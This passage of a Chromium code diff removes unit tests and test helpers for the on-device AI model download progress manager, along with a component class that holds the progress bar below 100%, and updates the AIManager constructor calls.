-  EXPECT_EQ(manager.GetNumberOfReporters(), 0);
-
-  {
-    // Adding an Observer, should create a reporter.
-    FakeComponent component1(std::nullopt, std::nullopt);
-    AITestUtils::FakeMonitor monitor1;
-    manager.AddObserver(monitor1.BindNewPipeAndPassRemote(),
-                        component1.GetImplAsList());
-    EXPECT_EQ(manager.GetNumberOfReporters(), 1);
-
-    {
-      // Adding an Observer, should create a reporter.
-      FakeComponent component2(std::nullopt, std::nullopt);
-      AITestUtils::FakeMonitor monitor2;
-      manager.AddObserver(monitor2.BindNewPipeAndPassRemote(),
-                          component2.GetImplAsList());
-      EXPECT_EQ(manager.GetNumberOfReporters(), 2);
-    }
-    // `manager` should have destroyed the `Reporter` associated with
-    // `monitor2`.
-    base::test::RunUntil([&]() { return manager.GetNumberOfReporters() == 1; });
-  }
-  // `manager` should have destroyed the `Reporter` associated with
-  // `monitor1`.
-  base::test::RunUntil([&]() { return manager.GetNumberOfReporters() == 0; });
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       DoesntReceiveUpdateUntilAllBytesAreDetermined) {
-  // Both total and download bytes are undetermined.
-  {
-    AIModelDownloadProgressManager manager;
-    AITestUtils::FakeMonitor monitor;
-    FakeComponent component(std::nullopt, std::nullopt);
-
-    // No events should be fired since bytes haven't been determined yet.
-    manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                        component.GetImplAsList());
-    monitor.ExpectNoUpdate();
-    FastForwardBy(base::Milliseconds(51));
-
-    // No events should be fired since total bytes hasn't been determined yet.
-    component.SetDownloadedBytes(0);
-    monitor.ExpectNoUpdate();
-    FastForwardBy(base::Milliseconds(51));
-
-    // Bytes have been determined so we should receive the first update.
-    component.SetTotalBytes(100);
-    monitor.ExpectReceivedUpdate(0,
-                                 on_device_ai::kNormalizedDownloadProgressMax);
-  }
-
-  // Download bytes are undetermined.
-  {
-    AIModelDownloadProgressManager manager;
-    AITestUtils::FakeMonitor monitor;
-    FakeComponent component(std::nullopt, 100);
-
-    // No events should be fired since downloaded bytes hasn't been determined
-    // yet.
-    manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                        component.GetImplAsList());
-    monitor.ExpectNoUpdate();
-    FastForwardBy(base::Milliseconds(51));
-
-    // Bytes have been determined so we should receive the first update.
-    component.SetDownloadedBytes(0);
-    monitor.ExpectReceivedUpdate(0,
-                                 on_device_ai::kNormalizedDownloadProgressMax);
-  }
-
-  // Total bytes are undetermined.
-  {
-    AIModelDownloadProgressManager manager;
-    AITestUtils::FakeMonitor monitor;
-    FakeComponent component(0, std::nullopt);
-
-    // No events should be fired since total bytes hasn't been determined yet.
-    manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                        component.GetImplAsList());
-    monitor.ExpectNoUpdate();
-    FastForwardBy(base::Milliseconds(51));
-
-    // Bytes have been determined so we should receive the first update.
-    component.SetTotalBytes(100);
-    monitor.ExpectReceivedUpdate(0,
-                                 on_device_ai::kNormalizedDownloadProgressMax);
-  }
-
-  // Multiple components with one having undetermined downloaded bytes.
-  {
-    AIModelDownloadProgressManager manager;
-    AITestUtils::FakeMonitor monitor;
-    FakeComponent component1(0, 100);
-    FakeComponent component2(std::nullopt, 1000);
-    ComponentList component_list;
-    component_list.insert(component1.GetImpl());
-    component_list.insert(component2.GetImpl());
-
-    // No events should be fired since `component2`'s downloaded bytes haven't
-    // been determined yet.
-    manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                        std::move(component_list));
-    monitor.ExpectNoUpdate();
-    FastForwardBy(base::Milliseconds(51));
-
-    // Bytes have been determined so we should receive the first update.
-    component2.SetDownloadedBytes(0);
-    monitor.ExpectReceivedUpdate(0,
-                                 on_device_ai::kNormalizedDownloadProgressMax);
-  }
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       SendsUpdateIfBytesAreAlreadyDetermined) {
-  // One component.
-  {
-    AIModelDownloadProgressManager manager;
-    AITestUtils::FakeMonitor monitor;
-    FakeComponent component(0, 100);
-
-    // We should get the first update since all bytes have been determined.
-    manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                        component.GetImplAsList());
-    monitor.ExpectReceivedUpdate(0,
-                                 on_device_ai::kNormalizedDownloadProgressMax);
-  }
-
-  // Two components.
-  {
-    AIModelDownloadProgressManager manager;
-    AITestUtils::FakeMonitor monitor;
-    FakeComponent component1(0, 100);
-    FakeComponent component2(0, 1000);
-    ComponentList component_list;
-    component_list.insert(component1.GetImpl());
-    component_list.insert(component2.GetImpl());
-
-    // We should get the first update since all bytes have been determined.
-    manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                        std::move(component_list));
-    monitor.ExpectReceivedUpdate(0,
-                                 on_device_ai::kNormalizedDownloadProgressMax);
-  }
-}
-
-TEST_F(AIModelDownloadProgressManagerTest, FirstUpdateIsReportedAsZero) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component(10, 100);
-
-  // The first update should be reported as zero. And `total_bytes` should
-  // always be `kNormalizedProgressMax` (0x10000).
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      component.GetImplAsList());
-  monitor.ExpectReceivedUpdate(0, on_device_ai::kNormalizedDownloadProgressMax);
-
-  // No other events should be fired.
-  FastForwardBy(base::Milliseconds(51));
-}
-
-TEST_F(AIModelDownloadProgressManagerTest, ProgressIsNormalized) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component(std::nullopt, 100);
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      component.GetImplAsList());
-
-  // Should receive the first update.
-  component.SetDownloadedBytes(0);
-  monitor.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
-
-  // Wait more than 50ms so we can receive the next event.
-  FastForwardBy(base::Milliseconds(51));
-
-  // The second update should have its downloaded_bytes normalized.
-  uint64_t downloaded_bytes = 15;
-  uint64_t normalized_downloaded_bytes =
-      on_device_ai::NormalizeModelDownloadProgress(downloaded_bytes,
-                                                   component.total_bytes());
-
-  component.SetDownloadedBytes(downloaded_bytes);
-  monitor.ExpectReceivedUpdate(normalized_downloaded_bytes,
-                               on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       AlreadyDownloadedBytesArentIncludedInProgress) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component(std::nullopt, 100);
-
-  int64_t already_downloaded_bytes = 10;
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      component.GetImplAsList());
-
-  // Send the first update with the already downloaded bytes for `component`.
-  component.SetDownloadedBytes(already_downloaded_bytes);
-  monitor.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
-
-  // Wait more than 50ms so we can receive the next event.
-  FastForwardBy(base::Milliseconds(51));
-
-  // The second update shouldn't include any already downloaded bytes.
-  uint64_t downloaded_bytes = already_downloaded_bytes + 5;
-  uint64_t normalized_downloaded_bytes =
-      on_device_ai::NormalizeModelDownloadProgress(
-          downloaded_bytes - already_downloaded_bytes,
-          component.total_bytes() - already_downloaded_bytes);
-
-  component.SetDownloadedBytes(downloaded_bytes);
-  monitor.ExpectReceivedUpdate(normalized_downloaded_bytes,
-                               on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       MaxIsSentWhenDownloadedBytesEqualsTotalBytes) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component(std::nullopt,
-                          on_device_ai::kNormalizedDownloadProgressMax * 5);
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      component.GetImplAsList());
-
-  // Should receive the zero update.
-  component.SetDownloadedBytes(10);
-  monitor.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
-
-  // Wait more than 50ms so we can receive the next event.
-  FastForwardBy(base::Milliseconds(51));
-
-  // Sending less than the total bytes should not send the
-  // `kNormalizedDownloadProgressMax`.
-  component.SetDownloadedBytes(component.total_bytes() - 1);
-  monitor.ExpectReceivedUpdate(on_device_ai::kNormalizedDownloadProgressMax - 1,
-                               on_device_ai::kNormalizedDownloadProgressMax);
-
-  // Sending the total bytes should send the `kNormalizedDownloadProgressMax`.
-  component.SetDownloadedBytes(component.total_bytes());
-  monitor.ExpectReceivedUpdate(on_device_ai::kNormalizedDownloadProgressMax,
-                               on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       MaxIsSentWhenDownloadedBytesEqualsTotalBytesForFirstUpdate) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component(std::nullopt,
-                          on_device_ai::kNormalizedDownloadProgressMax * 5);
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      component.GetImplAsList());
-
-  // If the first update has downloaded bytes equal to total bytes, then both
-  // the the zero and max events should be fired.
-  component.SetDownloadedBytes(component.total_bytes());
-  monitor.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
-  monitor.ExpectReceivedUpdate(on_device_ai::kNormalizedDownloadProgressMax,
-                               on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       ReceiveZeroAndHundredPercentForNoComponents) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(), {});
-  monitor.ExpectReceivedUpdate(0, on_device_ai::kNormalizedDownloadProgressMax);
-  monitor.ExpectReceivedUpdate(on_device_ai::kNormalizedDownloadProgressMax,
-                               on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-TEST_F(AIModelDownloadProgressManagerTest, OnlyReceivesUpdatesEvery50ms) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component(std::nullopt, 100);
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      component.GetImplAsList());
-
-  // Should receive the first update.
-  component.SetDownloadedBytes(0);
-  monitor.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
-
-  // Shouldn't receive this update since it hasn't been 50ms since the last
-  // update.
-  component.SetDownloadedBytes(15);
-
-  // Wait more than 50ms so we can receive the next event.
-  FastForwardBy(base::Milliseconds(51));
-
-  // Should receive the this since it's been over 50ms since the last update.
-  component.SetDownloadedBytes(20);
-  monitor.ExpectReceivedNormalizedUpdate(20, component.total_bytes());
-
-  // Shouldn't receive this update since it hasn't been 50ms since the last
-  // update.
-  component.SetDownloadedBytes(25);
-}
-
-TEST_F(AIModelDownloadProgressManagerTest, OnlyReceivesUpdatesForNewProgress) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  // Set its total to twice kNormalizedProgressMax so that there are two raw
-  // download progresses that map to every normalized download progress.
-  FakeComponent component(std::nullopt,
-                          on_device_ai::kNormalizedDownloadProgressMax * 2);
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      component.GetImplAsList());
-
-  // Should receive the first update as zero.
-  component.SetDownloadedBytes(0);
-  monitor.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
-
-  // Wait more than 50ms so we can receive the next event.
-  FastForwardBy(base::Milliseconds(51));
-
-  // Should be able to receive this progress event since we haven't seen it
-  // before.
-  component.SetDownloadedBytes(10);
-  monitor.ExpectReceivedNormalizedUpdate(10, component.total_bytes());
-
-  // Wait more than 50ms so we can receive the next event.
-  FastForwardBy(base::Milliseconds(51));
-
-  // Shouldn't be able to receive these progress updates since they're not
-  // greater than the last progress update.
-  component.SetDownloadedBytes(10);
-  component.SetDownloadedBytes(9);
-
-  // Wait more than 50ms so we can receive the next event.
-  FastForwardBy(base::Milliseconds(51));
-
-  // Shouldn't be able to receive this progress event since it normalizes to a
-  // progress we've seen.
-  CHECK_EQ(
-      on_device_ai::NormalizeModelDownloadProgress(10, component.total_bytes()),
-      on_device_ai::NormalizeModelDownloadProgress(11,
-                                                   component.total_bytes()));
-  component.SetDownloadedBytes(11);
-  FastForwardBy(base::Milliseconds(51));
-}
-
-TEST_F(AIModelDownloadProgressManagerTest, ShouldReceive100percent) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component(std::nullopt, 100);
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      component.GetImplAsList());
-
-  // Should receive the first update.
-  component.SetDownloadedBytes(10);
-  monitor.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
-
-  // Should receive the second update since it's 100% even though 50ms haven't
-  // elapsed.
-  component.SetDownloadedBytes(component.total_bytes());
-  monitor.ExpectReceivedNormalizedUpdate(component.total_bytes(),
-                                         component.total_bytes());
-
-  // No other events should be fired.
-  FastForwardBy(base::Milliseconds(51));
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       AllComponentsMustBeObservedBeforeSendingEvents) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component1(std::nullopt, 100);
-  FakeComponent component2(std::nullopt, 1000);
-  ComponentList component_list;
-  component_list.insert(component1.GetImpl());
-  component_list.insert(component2.GetImpl());
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      std::move(component_list));
-
-  // Shouldn't receive this updates since we haven't observed `component2` yet.
-  component1.SetDownloadedBytes(0);
-  monitor.ExpectNoUpdate();
-  FastForwardBy(base::Milliseconds(51));
-
-  // Should receive this update since now we've seen both components.
-  component2.SetDownloadedBytes(10);
-  uint64_t total_bytes = component1.total_bytes() + component2.total_bytes();
-  monitor.ExpectReceivedNormalizedUpdate(0, total_bytes);
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       ProgressIsNormalizedAgainstTheSumOfTheComponentsTotalBytes) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component1(std::nullopt, 100);
-  FakeComponent component2(std::nullopt, 1000);
-  ComponentList component_list;
-  component_list.insert(component1.GetImpl());
-  component_list.insert(component2.GetImpl());
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      std::move(component_list));
-
-  // Trigger the first event by sending updates for components 1 and 2.
-  uint64_t component1_downloaded_bytes = 0;
-  component1.SetDownloadedBytes(component1_downloaded_bytes);
-  uint64_t component2_downloaded_bytes = 0;
-  component2.SetDownloadedBytes(component2_downloaded_bytes);
-  monitor.ExpectReceivedUpdate(0, on_device_ai::kNormalizedDownloadProgressMax);
-
-  // Wait more than 50ms so we can receive the next event.
-  FastForwardBy(base::Milliseconds(51));
-
-  // Component 2 receives another 5 bytes.
-  component2_downloaded_bytes += 5;
-  component2.SetDownloadedBytes(component2_downloaded_bytes);
-
-  // Should receive an update of the sum of component1 and component2's
-  // downloaded bytes normalized with the sum of their total_bytes
-  uint64_t downloaded_bytes =
-      component1_downloaded_bytes + component2_downloaded_bytes;
-  uint64_t total_bytes = component1.total_bytes() + component2.total_bytes();
-  uint64_t normalized_downloaded_bytes =
-      on_device_ai::NormalizeModelDownloadProgress(downloaded_bytes,
-                                                   total_bytes);
-
-  monitor.ExpectReceivedUpdate(normalized_downloaded_bytes,
-                               on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       AlreadyDownloadedBytesArentIncludedInProgressForMultipleComponents) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component1(std::nullopt, 100);
-  FakeComponent component2(std::nullopt, 1000);
-  ComponentList component_list;
-  component_list.insert(component1.GetImpl());
-  component_list.insert(component2.GetImpl());
-  int64_t already_downloaded_bytes = 0;
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      std::move(component_list));
-
-  // Send an update for component 1.
-  uint64_t component1_downloaded_bytes = 5;
-  already_downloaded_bytes += 5;
-  component1.SetDownloadedBytes(component1_downloaded_bytes);
-
-  // Send a second update for component 1. This increases the already downloaded
-  // bytes that shouldn't be included in the progress.
-  component1_downloaded_bytes += 5;
-  already_downloaded_bytes += 5;
-  component1.SetDownloadedBytes(component1_downloaded_bytes);
-
-  // Send an update for component 2 triggering the zero event. This increases
-  // the already downloaded bytes that shouldn't be included in the progress.
-  uint64_t component2_downloaded_bytes = 10;
-  already_downloaded_bytes += 10;
-  component2.SetDownloadedBytes(component2_downloaded_bytes);
-  monitor.ExpectReceivedUpdate(0, on_device_ai::kNormalizedDownloadProgressMax);
-
-  // Wait more than 50ms so we can receive the next event.
-  FastForwardBy(base::Milliseconds(51));
-
-  // Component 2 receives another 5 bytes.
-  component2_downloaded_bytes += 5;
-  component2.SetDownloadedBytes(component2_downloaded_bytes);
-
-  // The progress we receive shouldn't include the `already_downloaded_bytes`.
-  uint64_t downloaded_bytes =
-      component1_downloaded_bytes + component2_downloaded_bytes;
-  uint64_t total_bytes = component1.total_bytes() + component2.total_bytes();
-  uint64_t normalized_downloaded_bytes =
-      on_device_ai::NormalizeModelDownloadProgress(
-          downloaded_bytes - already_downloaded_bytes,
-          total_bytes - already_downloaded_bytes);
-
-  monitor.ExpectReceivedUpdate(normalized_downloaded_bytes,
-                               on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       AlreadyInstalledComponentsAreNotObserved) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component1(100, 100);
-  FakeComponent component2(std::nullopt, 1000);
-  ComponentList component_list;
-  component_list.insert(component1.GetImpl());
-  component_list.insert(component2.GetImpl());
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      std::move(component_list));
-
-  // Should receive this despite not observing component 1 yet since component1
-  // is already downloaded.
-  component2.SetDownloadedBytes(0);
-  monitor.ExpectReceivedNormalizedUpdate(0, component2.total_bytes());
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       ProgressIsNormalizedAgainstOnlyUninstalledComponents) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component1(100, 100);
-  FakeComponent component2(std::nullopt, 1000);
-  FakeComponent component3(std::nullopt, 500);
-  ComponentList component_list;
-  component_list.insert(component1.GetImpl());
-  component_list.insert(component2.GetImpl());
-  component_list.insert(component3.GetImpl());
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      std::move(component_list));
-
-  // Fire the zero progress event by sending events for component 2 and 3.
-  component2.SetDownloadedBytes(0);
-  component3.SetDownloadedBytes(0);
-  monitor.ExpectReceivedUpdate(0, on_device_ai::kNormalizedDownloadProgressMax);
-
-  // Wait more than 50ms so we can receive the next event.
-  FastForwardBy(base::Milliseconds(51));
-
-  // Progress should be normalized against only components 2 and 3 since 1 is
-  // already installed.
-  component2.SetDownloadedBytes(10);
-  uint64_t total_bytes = component2.total_bytes() + component3.total_bytes();
-  monitor.ExpectReceivedNormalizedUpdate(10, total_bytes);
-}
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       ReceiveZeroAndHundredPercentWhenEverythingIsInstalled) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent component1(100, 100);
-  FakeComponent component2(1000, 1000);
-  ComponentList component_list;
-  component_list.insert(component1.GetImpl());
-  component_list.insert(component2.GetImpl());
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      std::move(component_list));
-  monitor.ExpectReceivedUpdate(0, on_device_ai::kNormalizedDownloadProgressMax);
-  monitor.ExpectReceivedUpdate(on_device_ai::kNormalizedDownloadProgressMax,
-                               on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-}  // namespace on_device_ai
diff --git a/chrome/browser/ai/ai_never_load_component.cc b/chrome/browser/ai/ai_never_load_component.cc
deleted file mode 100644
index 6437f5a..0000000
--- a/chrome/browser/ai/ai_never_load_component.cc
+++ /dev/null
@@ -1,15 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "chrome/browser/ai/ai_never_load_component.h"
-
-namespace on_device_ai {
-
-AINeverLoadComponent::AINeverLoadComponent(int64_t total_bytes) {
-  SetDownloadedBytes(0);
-  SetTotalBytes(total_bytes);
-}
-AINeverLoadComponent::~AINeverLoadComponent() = default;
-
-}  // namespace on_device_ai
diff --git a/chrome/browser/ai/ai_never_load_component.h b/chrome/browser/ai/ai_never_load_component.h
deleted file mode 100644
index d46dfbba..0000000
--- a/chrome/browser/ai/ai_never_load_component.h
+++ /dev/null
@@ -1,22 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef CHROME_BROWSER_AI_AI_NEVER_LOAD_COMPONENT_H_
-#define CHROME_BROWSER_AI_AI_NEVER_LOAD_COMPONENT_H_
-
-#include "components/on_device_ai/ai_model_download_progress_manager.h"
-
-namespace on_device_ai {
-
-// Never loads the total bytes. This is useful for blocking the loading bar from
-// reaching 100% before the API is ready to create an instance. The renderer
-// itself will send 100% just before creating the API instance.
-class AINeverLoadComponent : public AIModelDownloadProgressManager::Component {
- public:
-  explicit AINeverLoadComponent(int64_t total_bytes);
-  ~AINeverLoadComponent() override;
-};
-}  // namespace on_device_ai
-
-#endif  // CHROME_BROWSER_AI_AI_NEVER_LOAD_COMPONENT_H_
diff --git a/chrome/browser/ai/ai_test_utils.cc b/chrome/browser/ai/ai_test_utils.cc
index a1cbe8ab..7ac799ab 100644
--- a/chrome/browser/ai/ai_test_utils.cc
+++ b/chrome/browser/ai/ai_test_utils.cc
@@ -51,87 +51,6 @@
   quota_overflow_run_loop_.Quit();
 }
 
-AITestUtils::MockModelDownloadProgressMonitor::
-    MockModelDownloadProgressMonitor() = default;
-AITestUtils::MockModelDownloadProgressMonitor::
-    ~MockModelDownloadProgressMonitor() = default;
-
-mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
-AITestUtils::MockModelDownloadProgressMonitor::BindNewPipeAndPassRemote() {
-  return receiver_.BindNewPipeAndPassRemote();
-}
-
-mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
-AITestUtils::FakeMonitor::BindNewPipeAndPassRemote() {
-  return mock_monitor_.BindNewPipeAndPassRemote();
-}
-
-void AITestUtils::FakeMonitor::ExpectReceivedUpdate(
-    uint64_t expected_downloaded_bytes,
-    uint64_t expected_total_bytes,
-    base::OnceClosure callback) {
-  EXPECT_CALL(mock_monitor_, OnDownloadProgressUpdate(testing::_, testing::_))
-      .WillOnce([callback = std::move(callback), expected_downloaded_bytes,
-                 expected_total_bytes](uint64_t downloaded_bytes,
-                                       uint64_t total_bytes) mutable {
-        EXPECT_EQ(downloaded_bytes, expected_downloaded_bytes);
-        EXPECT_EQ(total_bytes, expected_total_bytes);
-        std::move(callback).Run();
-      });
-}
-
-void AITestUtils::FakeMonitor::ExpectReceivedUpdate(
-    uint64_t expected_downloaded_bytes,
-    uint64_t expected_total_bytes) {
-  base::RunLoop download_progress_run_loop;
-  ExpectReceivedUpdate(expected_downloaded_bytes, expected_total_bytes,
-                       download_progress_run_loop.QuitClosure());
-  download_progress_run_loop.Run();
-}
-
-void AITestUtils::FakeMonitor::ExpectReceivedNormalizedUpdate(
-    uint64_t expected_downloaded_bytes,
-    uint64_t expected_total_bytes,
-    base::OnceClosure callback) {
-  ExpectReceivedUpdate(on_device_ai::NormalizeModelDownloadProgress(
-                           expected_downloaded_bytes, expected_total_bytes),
-                       on_device_ai::kNormalizedDownloadProgressMax,
-                       std::move(callback));
-}
-
-void AITestUtils::FakeMonitor::ExpectReceivedNormalizedUpdate(
-    uint64_t expected_downloaded_bytes,
-    uint64_t expected_total_bytes) {
-  ExpectReceivedUpdate(on_device_ai::NormalizeModelDownloadProgress(
-                           expected_downloaded_bytes, expected_total_bytes),
-                       on_device_ai::kNormalizedDownloadProgressMax);
-}
-
-void AITestUtils::FakeMonitor::ExpectNoUpdate() {
-  EXPECT_CALL(mock_monitor_, OnDownloadProgressUpdate(testing::_, testing::_))
-      .Times(0);
-}
-
-AITestUtils::MockComponentUpdateService::MockComponentUpdateService() = default;
-AITestUtils::MockComponentUpdateService::~MockComponentUpdateService() =
-    default;
-
-void AITestUtils::MockComponentUpdateService::AddObserver(Observer* observer) {
-  observer_list_.AddObserver(observer);
-}
-
-void AITestUtils::MockComponentUpdateService::RemoveObserver(
-    Observer* observer) {
-  observer_list_.RemoveObserver(observer);
-}
-
-void AITestUtils::MockComponentUpdateService::SendUpdate(
-    const component_updater::CrxUpdateItem& item) {
-  for (Observer& observer : observer_list_) {
-    observer.OnEvent(item);
-  }
-}
-
 AITestUtils::AITestBase::AITestBase()
     : ChromeRenderViewHostTestHarness(
           base::test::TaskEnvironment::TimeSource::MOCK_TIME) {}
@@ -151,8 +70,8 @@
   fake_broker_->UpdateModelAdaptation(*fake_asset_);
 
   SetupMockOptimizationGuideKeyedService();
-  ai_manager_ = std::make_unique<AIManager>(
-      main_rfh()->GetBrowserContext(), &component_update_service_, main_rfh());
+  ai_manager_ =
+      std::make_unique<AIManager>(main_rfh()->GetBrowserContext(), main_rfh());
 }
 
 void AITestUtils::AITestBase::TearDown() {
@@ -195,8 +114,8 @@
       profile(), base::BindRepeating(
                      [](content::BrowserContext* context)
                          -> std::unique_ptr<KeyedService> { return nullptr; }));
-  ai_manager_ = std::make_unique<AIManager>(
-      main_rfh()->GetBrowserContext(), &component_update_service_, main_rfh());
+  ai_manager_ =
+      std::make_unique<AIManager>(main_rfh()->GetBrowserContext(), main_rfh());
 }
 
 blink::mojom::AIManager* AITestUtils::AITestBase::GetAIManagerInterface() {
@@ -210,10 +129,6 @@
   return ai_manager;
 }
 
-size_t AITestUtils::AITestBase::GetAIManagerDownloadProgressObserversSize() {
-  return ai_manager_->GetDownloadProgressObserversSizeForTesting();
-}
-
 size_t AITestUtils::AITestBase::GetAIManagerContextBoundObjectSetSize() {
   return ai_manager_->GetContextBoundObjectSetSizeForTesting();
 }
diff --git a/chrome/browser/ai/ai_test_utils.h b/chrome/browser/ai/ai_test_utils.h
index 42f4597..45f5c0c 100644
--- a/chrome/browser/ai/ai_test_utils.h
+++ b/chrome/browser/ai/ai_test_utils.h
@@ -14,7 +14,6 @@
 #include "chrome/browser/ai/ai_manager.h"
 #include "chrome/browser/optimization_guide/mock_optimization_guide_keyed_service.h"
 #include "chrome/test/base/chrome_render_view_host_test_harness.h"
-#include "components/component_updater/mock_component_updater_service.h"
 #include "components/optimization_guide/core/model_execution/test/fake_model_assets.h"
 #include "components/optimization_guide/core/model_execution/test/fake_model_broker.h"
 #include "components/optimization_guide/core/model_execution/test/mock_on_device_capability.h"
@@ -79,82 +78,6 @@
     mojo::Receiver<blink::mojom::ModelStreamingResponder> receiver_{this};
   };
 
-  class MockModelDownloadProgressMonitor
-      : public on_device_model::mojom::DownloadObserver {
-   public:
-    MockModelDownloadProgressMonitor();
-    ~MockModelDownloadProgressMonitor() override;
-    MockModelDownloadProgressMonitor(const MockModelDownloadProgressMonitor&) =
-        delete;
-    MockModelDownloadProgressMonitor& operator=(
-        const MockModelDownloadProgressMonitor&) = delete;
-
-    mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
-    BindNewPipeAndPassRemote();
-
-    // `on_device_model::mojom::DownloadObserver` implementation.
-    MOCK_METHOD(void,
-                OnDownloadProgressUpdate,
-                (uint64_t downloaded_bytes, uint64_t total_bytes),
-                (override));
-
-   private:
-    mojo::Receiver<on_device_model::mojom::DownloadObserver> receiver_{this};
-  };
-
-  class FakeMonitor {
-   public:
-    mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
-    BindNewPipeAndPassRemote();
-
-    // Expects that the next `OnDownloadProgressUpdate` is called with
-    // `expected_downloaded_bytes` and `expected_total_bytes`. Once it receives
-    // an update, calls `callback`.
-    void ExpectReceivedUpdate(uint64_t expected_downloaded_bytes,
-                              uint64_t expected_total_bytes,
-                              base::OnceClosure callback);
-
-    // Overload that waits until the update is received.
-    void ExpectReceivedUpdate(uint64_t expected_downloaded_bytes,
-                              uint64_t expected_total_bytes);
-
-    // Same as `ExpectReceivedUpdate` except it normalizes
-    // `expected_downloaded_bytes` and `expected_total_bytes`.
-    void ExpectReceivedNormalizedUpdate(uint64_t expected_downloaded_bytes,
-                                        uint64_t expected_total_bytes,
-                                        base::OnceClosure callback);
-
-    // Overload that waits until the update is received.
-    void ExpectReceivedNormalizedUpdate(uint64_t expected_downloaded_bytes,
-                                        uint64_t expected_total_bytes);
-
-    void ExpectNoUpdate();
-
-   private:
-    AITestUtils::MockModelDownloadProgressMonitor mock_monitor_;
-  };
-
-  class MockComponentUpdateService
-      : public component_updater::MockComponentUpdateService {
-   public:
-    MockComponentUpdateService();
-    ~MockComponentUpdateService() override;
-
-    void AddObserver(Observer* observer) override;
-
-    void RemoveObserver(Observer* observer) override;
-
-    void SendUpdate(const component_updater::CrxUpdateItem& item);
-
-    // Not copyable or movable.
-    MockComponentUpdateService(const MockComponentUpdateService&) = delete;
-    MockComponentUpdateService& operator=(const MockComponentUpdateService&) =
-        delete;
-
-   private:
-    base::ObserverList<Observer>::Unchecked observer_list_;
-  };
-
   class AITestBase : public ChromeRenderViewHostTestHarness {
    public:
     AITestBase();
@@ -173,11 +96,9 @@
     blink::mojom::AIManager* GetAIManagerInterface();
     mojo::Remote<blink::mojom::AIManager> GetAIManagerRemote();
     size_t GetAIManagerContextBoundObjectSetSize();
-    size_t GetAIManagerDownloadProgressObserversSize();
 
     raw_ptr<MockOptimizationGuideKeyedService>
         mock_optimization_guide_keyed_service_;
